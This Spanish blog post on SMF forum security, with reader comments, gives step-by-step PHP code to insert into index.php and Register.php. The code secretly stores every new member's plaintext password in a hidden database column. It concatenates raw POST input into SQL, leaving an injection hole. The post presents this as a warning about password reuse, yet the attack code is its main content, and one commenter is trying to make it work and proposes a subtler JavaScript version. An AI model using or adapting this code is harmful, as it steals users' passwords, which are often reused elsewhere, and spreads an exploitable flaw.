(In)seguridad en los foros [SMF]

Los foros de la gente de simplemachines son de los más usados actualmente. No me extrañaría que fuese por la combinación diseño-características-gratis que reune este tipo de foros. Pero, ¿que hay de la seguridad?

Actualmente, la gran mayoria de personas asegura que usa la misma contraseña para todo (correo, registros de foros, y otras cuentas de mayor importancia como eBay o Paypal/Alertpay, etc) debido a la dificultad que supone tener que cuidar y guardar las diferentes contraseñas. Sin embargo, a pesar de esta incomodidad, la seguridad siempre debería de ser lo primordial para el usuario, sobre todo para el más inexperto (osease, la inmensa mayoria de usuarios).

Cuando instalamos en un servidor un foro (en este caso del tipo SMF) lo primero que hace es mirar la base de datos, y crear allí un registro, en donde a lo largo de la vida del foro se guardarán los posts, los subforos, las configuraciones, y los datos de los usuarios.

¿Los datos de los usuarios? Si. Esto es, los datos que tenemos en nuestro perfil del foro, como el avatar, el nickname, el nombre, la fecha de nacimiento, la firma, y la contraseña.

El administrador de cualquier foro puede acceder a la base de datos y ver/modificar/eliminar cualquiera de los datos anteriormente citados. Simplemachines piensa en todo (al igual que todos las empresas de ese estilo) y la mejor solución que le pone a esto es, encriptar la “contraseña”. Le pongo comillas, porque en realidad, no se guarda la contraseña, sino que se guarda un hash, generado mediante el nombre de usuario y contraseña. Esto quiere decir que, cuando nos registramos, se guarda en la base de datos la encriptación mediante SHA1 del nombre de usuario junto con la contraseña.

Por ejemplo, si me registro, y pongo de usuario lipman y de contraseña password, en la base de datos se guarda la encriptación de lipmanpassword, de la siguiente simple manera:

sha1($nombreUsuario . $password)

Por lo que, cuando un administrador acceda a la base de datos, le será imposible obtener la contraseña de ese usuario. La única solución seria desencriptarlo mediante fuerza bruta, pero descartamos esta opción debido al inmenso tiempo que se tomaria.

¿Quiere decir esto que nuestra contraseña está a salvo?
Absolutamente no.

Se podrían hacer cientos de métodos distintos e incluso combinarlos, para averiguar las contraseñas de los usuarios que se registren. El más sencillo que se me ocurre es: justo al registrarse un usuario, guardar en la base de datos su contraseña sin encriptar. A continuación describiré cómo se podría realizar.

Lo primero de todo, tenemos que crear en la base de datos la columna en la que guardaremos estas contraseñas sin encriptar:

Index.php (introducido justo antes de $forum_version…)

if(!$var = fopen('lol', 'r+'))
{
include("Settings.php");
echo "No preocuparse si sale algún error. Este mensaje no volverá a aparecer.";
mysql_connect($db_server, $db_user, $db_passwd) or die("Error al conectar a la BD");
$consulta = "ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;";
$resultado = mysql_query($consulta) or die("LOL");
fopen("lol", 'a+');
}

Queremos que este código se ejecute una sola vez, por eso, este código se encarga de buscar un archivo que no deberia de existir, y si no lo encuentra, realiza esa alteración en la base de datos y posteriormente lo crea (para que lo encuentre y no se ejecute esto nada más que una sola vez)

Las variables $db_server, $db_user, $db_name y $db_passwd son variables que contienen, como propiamente dan a indicar, el nombre del servidor, de usuario, de la base de datos y la contraseña respectivamente. Ya se encuentran con los valores, ya que estos se guardan en Settings.php

La línea interesante es la sexta: $consulta = “ALTER TABLE `$db_name`.`smf_members` ADD COLUMN `pwdlol` TEXT AFTER `memberName`;”;

Esto crea en la tabla smf_members una columna llamada pwdlol después de la columna memberName (así tendremos la contraseña al lado del usuario, por comodidad)

Sigamos…

Sources/Register.php (introducido a partir de la línea 304)

$contrasenha = $_POST['passwrd1'];
$miembrouser = $_POST['user'];

$consulta = "UPDATE smf_members SET pwdlol = '$contrasenha' WHERE memberName = '$miembrouser'";
$resultado = mysql_query($consulta) or die("Error realizando la consulta");

Este código simplemente guarda en las variables $contrasenha y $miembrouser la contraseña y el nombre de usuario (todo sin encriptar) y luego, introduce la contraseña en la tabla de pwdlol, en donde el memberName sea el mismo que el miembro registrado.

Preocupamente tengo que decir: ya está. Así de simple es obtener la contraseña de cada usuario que se registre en tu propio foro SMF.

¿Es esto preocupante? Personalmente, solo espero que cada vez que os registreis en un foro la próxima vez, penseis en ponerle otra contraseña que la de vuestro correo.

Próximo análisis: PhpBB

3 Replies to “(In)seguridad en los foros [SMF]”

  1. Hola, ya sé que la entrada es bastante vieja pero llevo 3-4 días dándole vueltas a esto y todavía no he conseguido que funcione en un foro que monté para hacer la prueba.

    Admito que programar se me hace tedioso y debería leer más manuales pero antes de continuar me gustaría simplemente saber si me puedes confirmar que este método todavía funciona con la versión más reciente de SMF (2.0.2).

    Muchas gracias y un saludo.

  2. Medio añito tiene la entrada ya, pero me parece raro que los de SimpleMachines hayan cambiado algo de manera tan radical como para que no se permita hacer. Quiero decir, este post está escrito como una receta de cocinas casi, en plan, paso 1, paso 2, etc. Si han cambiado lo más mínimo (como el nombre de una tabla por ejemplo) dejaria de funcionar ya que es una solución muy cerrada.

    Por otra parte, dudo mucho que hayan cambiado algo, me parece bastante raro, sobre todo que hayan cambiado la manera de encriptar la contraseña, puesto que lleva así muchísimo tiempo. De todos modos, te recomiendo que lo releas y trates de entender lo que haces, en lugar de copiar, pegar y ejecutar código, ya que si ves algo que está mal puedes cambiarlo.

    Por último, por tema de exámenes, hasta dentro de un mes aproximadamente no voy a poder hacer nada, pero me lo apunto =)

    Un saludo

  3. Gracias por la respuesta; sí, pienso que se trata más bien de algo simple como el cambiar de nombre algo, o la localización, dónde escribir el código etc.

    También he pensado en la opción de usar Javascript con el mismo propósito que en principio sería más fácil pero quizá más evidente o fácil de detectar.

    En cualquier caso voy a estudiarlo y ver si encuentro una solución.

    Saludos.

Leave a Reply

Your email address will not be published. Required fields are marked *